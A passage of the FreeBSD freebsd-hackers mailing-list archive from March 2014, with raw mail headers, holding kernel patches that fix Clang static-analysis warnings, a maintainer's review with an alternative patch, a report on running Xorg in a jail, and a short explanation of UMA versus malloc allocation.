bh=hIsvAHgY1HgDge4bgUpczyXbmZBjKu2XgUCZ3e5zIio=; b=QwNhK9qLr0PIEwFap5DtZ+V5Ee45SrviTlcZTGq8D4ZFilIoy/M2D+L5pptDCBLrSG 4yx/6xRaKcfpk4vxk3Dv4D/6uRhB9tgjqcsjBtoqdE1N4ICvkFS7OB4gKanJiEDuo5De rN3dhiBkJenmur0hYpVdkM/UQ7tPP+zqjSnJnJahHe1CRM4T5iaaXgq+ZVk1we2Jnq3c 2Ywc0bdVssM9WUDaPi9bLbEK9Kz2HiHbRnvhNUfl/UKiPD9VRuwCt5DmtEiZylDi/olb KPbiecO2n7RwuWmgYMfOkSi1L2uasP/KKsK3gHW8xA3q6o3+9CYfaNQaHBIVHL2lNUJl MYWg== X-Gm-Message-State: ALoCoQnZdEm2goL8Rkj8K9gTW4M/f4nSGAKt29JhDXukGOGn3LMcD8qoOTNwRWpSdqMTFZ/JPm+o X-Received: by 10.68.93.132 with SMTP id cu4mr1152454pbb.129.1394583600968; Tue, 11 Mar 2014 17:20:00 -0700 (PDT) Received: from cmeyer.west.isilon.com (c-67-182-131-225.hsd1.wa.comcast.net. [67.182.131.225]) by mx.google.com with ESMTPSA id jd5sm1276051pbb.18.2014.03.11.17.19.59 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 11 Mar 2014 17:19:59 -0700 (PDT) From: Conrad Meyer To: freebsd-hackers@freebsd.org Subject: [PATCH 1/5] vm/device_pager.c: dev_pager_alloc: 'size' must be non-zero Date: Tue, 11 Mar 2014 17:19:39 -0700 Message-Id: <1394583583-19023-2-git-send-email-conrad.meyer@isilon.com> X-Mailer: git-send-email 1.8.5.3 In-Reply-To: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> References: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> X-Mailman-Approved-At: Wed, 12 Mar 2014 02:10:11 +0000 Cc: Conrad Meyer , Jeffrey Roberson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 00:20:07 -0000 If size is zero, paddr is used uninitialized when assigning object1->pg_color. Found with Clang static analysis. Signed-off-by: Conrad Meyer --- sys/vm/device_pager.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/sys/vm/device_pager.c b/sys/vm/device_pager.c index 13491ba..5125d20 100644 --- a/sys/vm/device_pager.c +++ b/sys/vm/device_pager.c @@ -135,6 +135,12 @@ cdev_pager_allocate(void *handle, enum obj_type tp, struct cdev_pager_ops *ops, if (foff & PAGE_MASK) return (NULL); + /* + * Size must be non-zero. + */ + if (size == 0) + return (NULL); + size = round_page(size); pindex = OFF_TO_IDX(foff + size); -- 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 00:20:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 90F4C419 for ; Wed, 12 Mar 2014 00:20:11 +0000 (UTC) Received: from mail-pa0-f41.google.com (mail-pa0-f41.google.com [209.85.220.41]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6449087A for ; Wed, 12 Mar 2014 00:20:11 +0000 (UTC) Received: by mail-pa0-f41.google.com with SMTP id fa1so284574pad.28 for ; Tue, 11 Mar 2014 17:20:05 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=gT6PCsODKUcfsR+Cph6AnvLZZDYOX/LJgc6gYG4ev/8=; b=gDZ6L3g62zgU/b541SAourKJwVKdxdDe+mC38bI9FlKXhjcttZnSs3QjQysr2p/Io4 MjDT5kz0/1r1YYdS+wVsa2kYwPuxVV8zq+EStJgWFhTldiPLzNHxyWJfnmZu5DLwfWo7 kc3E1ihsJngn0KjYBiHm073DDVtw18r7cuXb/MheJpJvg+DYJJhWvsFU330EDDJRp7CF mIWuetBKq+qUVoh/0Ren9fb0YjlzEudc4bX9p3U4KtrIhPm+0VYYysjjZUWacKg+pq5W mX8Kiy7sEczKGm1R85dawVebXkDAX9JblVaxwMeqrflKwcXHfm2g2NIHyKyAJ6JiLu+/ einw== X-Gm-Message-State: ALoCoQl1A4bnnNi6t6emDgt/qOFKU5XYHonOK1unU2LJ+aT+IPVpWs+mUKJ94RttuLv8/mH1U/jH X-Received: by 10.68.239.137 with SMTP id vs9mr1221718pbc.84.1394583605621; Tue, 11 Mar 2014 17:20:05 -0700 (PDT) Received: from cmeyer.west.isilon.com (c-67-182-131-225.hsd1.wa.comcast.net. [67.182.131.225]) by mx.google.com with ESMTPSA id jd5sm1276051pbb.18.2014.03.11.17.20.03 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 11 Mar 2014 17:20:04 -0700 (PDT) From: Conrad Meyer To: freebsd-hackers@freebsd.org Subject: [PATCH 3/5] hwpmc_piv.c: pmc_p4_initialize: Use correct type for sizeof() in malloc() Date: Tue, 11 Mar 2014 17:19:41 -0700 Message-Id: <1394583583-19023-4-git-send-email-conrad.meyer@isilon.com> X-Mailer: git-send-email 1.8.5.3 In-Reply-To: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> References: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> X-Mailman-Approved-At: Wed, 12 Mar 2014 02:10:19 +0000 Cc: Conrad Meyer , Jeffrey Roberson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 00:20:11 -0000 Both types are pointers, so this isn't a big deal. But Clang static analysis reports it, so we might as well correct it (and it's the right thing to do.) Signed-off-by: Conrad Meyer --- sys/dev/hwpmc/hwpmc_piv.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/sys/dev/hwpmc/hwpmc_piv.c b/sys/dev/hwpmc/hwpmc_piv.c index 3137ea2..e72c38a 100644 --- a/sys/dev/hwpmc/hwpmc_piv.c +++ b/sys/dev/hwpmc/hwpmc_piv.c @@ -1620,8 +1620,7 @@ pmc_p4_initialize(struct pmc_mdep *md, int ncpus) PMCDBG(MDP,INI,1, "%s", "p4-initialize"); /* Allocate space for pointers to per-cpu descriptors. */ - p4_pcpu = malloc(sizeof(struct p4_cpu **) * ncpus, M_PMC, - M_ZERO|M_WAITOK); + p4_pcpu = malloc(sizeof(*p4_pcpu) * ncpus, M_PMC, M_ZERO|M_WAITOK); /* Fill in the class dependent descriptor. */ pcd = &md->pmd_classdep[PMC_MDEP_CLASS_INDEX_P4]; -- 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 00:20:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D7FF241C for ; Wed, 12 Mar 2014 00:20:11 +0000 (UTC) Received: from mail-pa0-f53.google.com (mail-pa0-f53.google.com [209.85.220.53]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id ADAF687C for ; Wed, 12 Mar 2014 00:20:11 +0000 (UTC) Received: by mail-pa0-f53.google.com with SMTP id ld10so282224pab.40 for ; Tue, 11 Mar 2014 17:20:11 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=49oom4rQPosA59Lr1DSvbu/B1wZMny9/Kanhhf/Dm+s=; b=APgsAPbt6AvSJXvUV0n4thnZb8jWzm2i6iO/i/CCrdZ6H/54l6CAO8Sfl/sATEJUgK IRu9XpP3+wPaJMzZDgZMrAiGivm3qQ7qidBTGIF5J30rNkvo6FjsyAZHWyMTqgRBxY5X cbbZwB9q9FwQ4mEQNyLBY2yKwSWJKEbk4w0JcgETXUce7uraoGqQIWMerORNlckSl13o 6EtIahFlXRYFQqVhCsIXSlPZt3WG1HBEzhONiYLbe49qjYBdGzLlVS4CtHODmzHdT2xZ 6DUCMyTSdRTI22lgLskp3sks+yd6aFPCOy2KZonAhXxjxpKQYRXKe6cJpfm7tPEioKpY Vdbw== X-Gm-Message-State: ALoCoQnwaaC7zhwhduyVusoFh7jRQ4q4693BwlrPa2a5xKjQdzcBR9MncBRji9Z5ymQtL0g2IxdO X-Received: by 10.68.197.99 with SMTP id it3mr1173801pbc.37.1394583611165; Tue, 11 Mar 2014 17:20:11 -0700 (PDT) Received: from cmeyer.west.isilon.com (c-67-182-131-225.hsd1.wa.comcast.net. [67.182.131.225]) by mx.google.com with ESMTPSA id jd5sm1276051pbb.18.2014.03.11.17.20.08 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 11 Mar 2014 17:20:10 -0700 (PDT) From: Conrad Meyer To: freebsd-hackers@freebsd.org Subject: [PATCH 5/5] kern/kern_linker.c: Use correct type for sizeof() in malloc() Date: Tue, 11 Mar 2014 17:19:43 -0700 Message-Id: <1394583583-19023-6-git-send-email-conrad.meyer@isilon.com> X-Mailer: git-send-email 1.8.5.3 In-Reply-To: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> References: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> X-Mailman-Approved-At: Wed, 12 Mar 2014 02:10:30 +0000 Cc: Conrad Meyer , Jeffrey Roberson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 00:20:11 -0000 Another one reported by Clang static analysis. Again, both are pointer types, so it's not a huge deal. Just fix it for correctness. Signed-off-by: Conrad Meyer --- sys/kern/kern_linker.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/sys/kern/kern_linker.c b/sys/kern/kern_linker.c index fa09b3f..7d2aa50 100644 --- a/sys/kern/kern_linker.c +++ b/sys/kern/kern_linker.c @@ -725,14 +725,13 @@ linker_file_add_dependency(linker_file_t file, linker_file_t dep) linker_file_t *newdeps; sx_assert(&kld_sx, SA_XLOCKED); - newdeps = malloc((file->ndeps + 1) * sizeof(linker_file_t *), - M_LINKER, M_WAITOK | M_ZERO); + newdeps = malloc((file->ndeps + 1) * sizeof(*newdeps), M_LINKER, + M_WAITOK | M_ZERO); if (newdeps == NULL) return (ENOMEM); if (file->deps) { - bcopy(file->deps, newdeps, - file->ndeps * sizeof(linker_file_t *)); + bcopy(file->deps, newdeps, file->ndeps * sizeof(*newdeps)); free(file->deps, M_LINKER); } file->deps = newdeps; -- 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 03:19:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 49A3BFA6; Wed, 12 Mar 2014 03:19:48 +0000 (UTC) Received: from mail-pa0-x236.google.com (mail-pa0-x236.google.com [IPv6:2607:f8b0:400e:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 173A09C5; Wed, 12 Mar 2014 03:19:48 +0000 (UTC) Received: by mail-pa0-f54.google.com with SMTP id lf10so458551pab.41 for ; Tue, 11 Mar 2014 20:19:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=74mfxOUO+Bka82Q63EAE3NrNVZGr5ZP106Xqb1YZSI8=; b=tLHv6Fjwkg6fAwzJLjlFvQqDPRh2q/IcwwCpJ2MLCIgwQfzrCM2Ov+R2mOXYWEDA4A mMPISFsmF78Hhw3ifUe82flH+T4IQLKR/Bj5MbyhTUYNCkyA0Cxel2rpRW2zlLpMQukN fcV0vPG71Csto62jll6dAIRP9sb8xEWO+ykMxOl1UKSozzb0Qe00M01yySMjhP4u+sTC VEadHkCeuD5gHh4R95j966Pjwc2WRNBIKiVUBDazEI9+CzOHRl90H09XD31j/KcLr5u2 cqqD7Bwj1/tInMlE/XS32SG3yLzB7Mk3omX2j92Z+ZGfH+ly2VQoV9Ry/u7KYWRYe6QD r20Q== MIME-Version: 1.0 X-Received: by 10.66.139.169 with SMTP id qz9mr2026317pab.16.1394594387651; Tue, 11 Mar 2014 20:19:47 -0700 (PDT) Received: by 10.70.8.34 with HTTP; Tue, 11 Mar 2014 20:19:47 -0700 (PDT) In-Reply-To: References: Date: Wed, 12 Mar 2014 07:19:47 +0400 Message-ID: Subject: Re: [PATCH] Xorg in a jail From: Subbsd To: Tom Evans Content-Type: text/plain; charset=ISO-8859-1 Cc: "freebsd-hackers@freebsd.org" , "freebsd-x11@freebsd.org" , Jamie Gritton , Alexander Leidinger X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 03:19:48 -0000 Hello, maillist On Sun, Mar 9, 2014 at 5:26 AM, Tom Evans wrote: > I'm not sure I did the jail allow parameters right, but it works for > me - I would appreciate someone more competent taking a look! Also, > dev_io_access should probably be renamed or using it to control access > to /dev/mem split out from it? Also, is the style right? vim: noet > sw=8 ts=8 is what I was using. > > Cheers > > Tom > > PS: I haven't tested any input devices yet with this, let me know! I've tested this patch on FreeBSD 11 + fluxbox jail and it works perfectly. Nvidia require in devfs.rules next rule: -- add path 'nvidia*' unhide -- also i had to add -- add path sysmouse unhide -- due to a have -- Section "ServerFlags" Option "AutoAddDevices" "off" EndSection -- in my xorg.conf for independence of hald. Despite violation of idea of safety of jail, it is very good feature for private purposes/X-jails. If it never is in basic system where it is possible to look for the last actual version of a patch? From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 06:25:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8EBE0E33; Wed, 12 Mar 2014 06:25:19 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4B26AB2D; Wed, 12 Mar 2014 06:25:19 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s2C6PH7w001250 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Mar 2014 23:25:18 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s2C6PHEa001249; Tue, 11 Mar 2014 23:25:17 -0700 (PDT) (envelope-from jmg) Date: Tue, 11 Mar 2014 23:25:17 -0700 From: John-Mark Gurney To: Rick Macklem Subject: Re: kernel memory allocator: UMA or malloc? Message-ID: <20140312062517.GX32089@funkthat.com> Mail-Followup-To: Rick Macklem , Freebsd hackers list , Garrett Wollman References: <829240556.20994461.1394587951698.JavaMail.root@uoguelph.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <829240556.20994461.1394587951698.JavaMail.root@uoguelph.ca> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Tue, 11 Mar 2014 23:25:18 -0700 (PDT) Cc: Freebsd hackers list , Garrett Wollman X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 06:25:19 -0000 Rick Macklem wrote this message on Tue, Mar 11, 2014 at 21:32 -0400: > I've been working on a patch provided by wollman@, where > he uses UMA instead of malloc() to allocate an iovec array > for use by the NFS server's read. > > So, my question is: > When is it preferable to use UMA(9) vs malloc(9) if the > allocation is going to be a fixed size? UMA has benefits if the structure size is uniform and a non-power of 2.. In this case, it can pack the items more densely, say, a 192 byte allocation can fit 21 allocations in a 4k page size verse malloc which would round it up to 256 bytes leaving only 16 per page... These counts per page are probably different as UMA may keep some information in the page... It also has the benefit of being able to keep allocations "half alive".. "freed" objects can be partly initalized with references to buffers and other allocations still held by them... Then if the systems needs to fully free your allocation, it can, and will call your function to release these remaining resources... look at the ctor/dtor uminit/fini functions in uma(9) for more info... uma also allows you to set a hard limit on the number of allocations the zone provides... Hope this helps... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 10:30:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A357C1AD; Wed, 12 Mar 2014 10:30:18 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3FE798D5; Wed, 12 Mar 2014 10:30:18 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.7/8.14.7) with ESMTP id s2CAUAFa012058; Wed, 12 Mar 2014 12:30:10 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2CAUAFa012058 Received: (from kostik@localhost) by tom.home (8.14.7/8.14.7/Submit) id s2CAU9nI012054; Wed, 12 Mar 2014 12:30:09 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Wed, 12 Mar 2014 12:30:09 +0200 From: Konstantin Belousov To: Conrad Meyer Subject: Re: [PATCH 1/5] vm/device_pager.c: dev_pager_alloc: 'size' must be non-zero Message-ID: <20140312103009.GT24664@kib.kiev.ua> References: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> <1394583583-19023-2-git-send-email-conrad.meyer@isilon.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="qAYG3HKTbif+kJGg" Content-Disposition: inline In-Reply-To: <1394583583-19023-2-git-send-email-conrad.meyer@isilon.com> User-Agent: Mutt/1.5.22 (2013-10-16) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on tom.home Cc: freebsd-hackers@freebsd.org, Jeffrey Roberson , Conrad Meyer X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 10:30:18 -0000 --qAYG3HKTbif+kJGg Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Thank you for the submission, I committed four patches, except this one. On Tue, Mar 11, 2014 at 05:19:39PM -0700, Conrad Meyer wrote: > If size is zero, paddr is used uninitialized when assigning > object1->pg_color. So the issue there is only with non-managed device pager, right ? Please note that GEM explicitely initializes color in the constructor. I do not like the change below, it puts the policy into pager, while currently the decision is up to managed pager consumers, e.g. GEM, which do the similar check on its own. I prefer a different way to shut down the warning, please see the patch at the end of the message. Does it work for you ? >=20 > Found with Clang static analysis. >=20 > Signed-off-by: Conrad Meyer > --- > sys/vm/device_pager.c | 6 ++++++ > 1 file changed, 6 insertions(+) >=20 > diff --git a/sys/vm/device_pager.c b/sys/vm/device_pager.c > index 13491ba..5125d20 100644 > --- a/sys/vm/device_pager.c > +++ b/sys/vm/device_pager.c > @@ -135,6 +135,12 @@ cdev_pager_allocate(void *handle, enum obj_type tp, = struct cdev_pager_ops *ops, > if (foff & PAGE_MASK) > return (NULL); > =20 > + /* > + * Size must be non-zero. > + */ > + if (size =3D=3D 0) > + return (NULL); > + > size =3D round_page(size); > pindex =3D OFF_TO_IDX(foff + size); > =20 diff --git a/sys/vm/device_pager.c b/sys/vm/device_pager.c index 13491ba..4cd245a 100644 --- a/sys/vm/device_pager.c +++ b/sys/vm/device_pager.c @@ -414,6 +414,7 @@ old_dev_pager_ctor(void *handle, vm_ooffset_t size, vm_= prot_t prot, * XXX assumes VM_PROT_* =3D=3D PROT_* */ npages =3D OFF_TO_IDX(size); + paddr =3D 0; /* Make paddr initialized for the case of size =3D=3D 0. */ for (off =3D foff; npages--; off +=3D PAGE_SIZE) { if (csw->d_mmap(dev, off, &paddr, (int)prot, &dummy) !=3D 0) { dev_relthread(dev, ref); --qAYG3HKTbif+kJGg Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTIDcwAAoJEJDCuSvBvK1BZmcP/RBC1gG939uUsEHgz93CuY0L BQ65Lm8rj4Eiq8zdSnwOWJY75tK41XvCL9HQsdu0EzUKB6jktsx79CKnNvmqTHh3 K5nPpejBbGPTUEHiDtr2LnQoaQzZxxpJ0/FQ4QlwipJ6TYKcv+CBn+aZmvTvDAUq k3s5087toE7DTRC8USsbWF3YsdcVxwY3bhDd2ayNHGhxS7rN/NLUP3a2PP1XhQ6w m9lV1JbuDunEt8ajpJIKUYWuih4n8vgXRwPnAiZE2ge5n5svt3lokW3eAKhmm6wo /4VOzZmJKyfkQQhc3BDdA0h8JAMmqc4zpFRtsEwSuQPD9bUTpoQXE+wVv8Dd93ui Vlx4oQZZz/Sv9qDE0m94Kj3BVRoUsK5EDN2cgonYCE9/YQlJVUM0BGGpc3VpY6IE b6Qy4GbwcNVBR5hU+6mbN+GiWWW0cTvGYYdMg/eDC5aWn6+cfbTVc/s33fJDrall AGy6LNXbsVoQN51psj5Anx8ZQjqAVafoDaLvgsEP65YVUPoo+QSB/zTqQDIR8BGV EKjgIodoPXup32bg7OVsctEiKiVhohOcFWt1ccAOAeY+hb/WuLDtHKAOnLh6UeZG bOgmix3WPyPM2LVi98ckOA0RxJo0FVLp2aJ/BYx9xAs0DsTLIQF+cjsQAjM1+iAW zKtNrFO/IYCoI8menKBe =25sT -----END PGP SIGNATURE----- --qAYG3HKTbif+kJGg-- From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 14:54:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 38E891CF for ; Wed, 12 Mar 2014 14:54:31 +0000 (UTC) Received: from mail-qa0-x233.google.com (mail-qa0-x233.google.com [IPv6:2607:f8b0:400d:c00::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E76046A2 for ; Wed, 12 Mar 2014 14:54:30 +0000 (UTC) Received: by mail-qa0-f51.google.com with SMTP id j7so2594100qaq.38 for ; Wed, 12 Mar 2014 07:54:30 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=dwKz5kSIJa9HD5zFFPIkB7Qz3h8bDvicl6ckAYok4PA=; b=Ph5aUXILb6xKt0lBVHWUPGeHZAuoraanlwPG88riIuIT5IY6GJ8v4fTX6fMOQwmHF9 vj1MgNgpFK0Pf+hzkmf+ubQNz4ocWz1KlDt6tqwveZ5OmOODrJgNX1q9ggyCr4ZF3DzN xrARATEmBkqQ/eFNx16LHhbuxnD73ba50leVk= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=dwKz5kSIJa9HD5zFFPIkB7Qz3h8bDvicl6ckAYok4PA=; b=KXDIHnRxvAnSzs9E4iKOBcALwGU8ceB+vjwksxmo+CUYAelOp8ua0KfgC/04jF8S1r aUsbr6uzrQl4cMxYNxKJZwqPeag2UoR25dvRabcJK1F6I6mcQjDqOClwIkJpS9Z19B8x /Ne0eNphmFldmME840Fh5iVml6ofyQWE7z2DRZVIsVOnHgZ04Q5Q6QoTluOwV4ZGEWjk upqR6QSXAbd1vqZwhugdpBS8iUDf2ngvPkl/exla0F07tTgtXXEnF9BNsvONJOii4aCc 1UZHNQjCC4dMY6+VFBKMPKQRubL9EXhJ3ZPrhOCxxqNkjxUto1VNsijeSC24S5mYqw30 7Dmw== X-Gm-Message-State: ALoCoQmC0IGyX2O0bPaVD3cQa0zjuaf78H+svqY/pB3rqMcAEbZ8BKpKBmn/bOfDxUhN/bZ6pU4h X-Received: by 10.224.4.130 with SMTP id 2mr56134738qar.45.1394636070052; Wed, 12 Mar 2014 07:54:30 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.147.225 with HTTP; Wed, 12 Mar 2014 07:53:59 -0700 (PDT) In-Reply-To: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> References: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> From: Eitan Adler Date: Wed, 12 Mar 2014 10:53:59 -0400 Message-ID: Subject: Re: [PATCH 0/5] Fix several minor Clang static analysis warnings To: Conrad Meyer Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org, Jeffrey Roberson , Conrad Meyer X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 14:54:31 -0000 On 11 March 2014 20:19, Conrad Meyer wrote: > We ran Clang on static builds locally against OneFS at Isilon and found several > issues present in CURRENT. They're mostly trivial. I'm unfamiliar with the > FreeBSD patch submission process, but here's my "best effort" attempt (given > the Linux model). Git patches are fine. For tracking it can also be helpful to submit a PR. However, I don't seem to see anything attached to this email ;) -- Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 15:35:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B32DB6F6 for ; Wed, 12 Mar 2014 15:35:59 +0000 (UTC) Received: from mail-la0-x236.google.com (mail-la0-x236.google.com [IPv6:2a00:1450:4010:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3CEDBB68 for ; Wed, 12 Mar 2014 15:35:59 +0000 (UTC) Received: by mail-la0-f54.google.com with SMTP id mc6so6943776lab.27 for ; Wed, 12 Mar 2014 08:35:57 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=HhwUV2M06kfODvwZr1fdBL+o19zXmpf06WYLz4bkw0I=; b=DlEWrGUVFrgPvWgEmQmsDXOBQI5wK5Dqa0UwBG96l3V0r3T43LpmMXo3OrUJEBPgmN hawgMMo5lJcakRD6kHjXPxekf0fLqSvR7rjpHQuIMkNDDiEdqBWuFbSwupzcKZu5BsZI 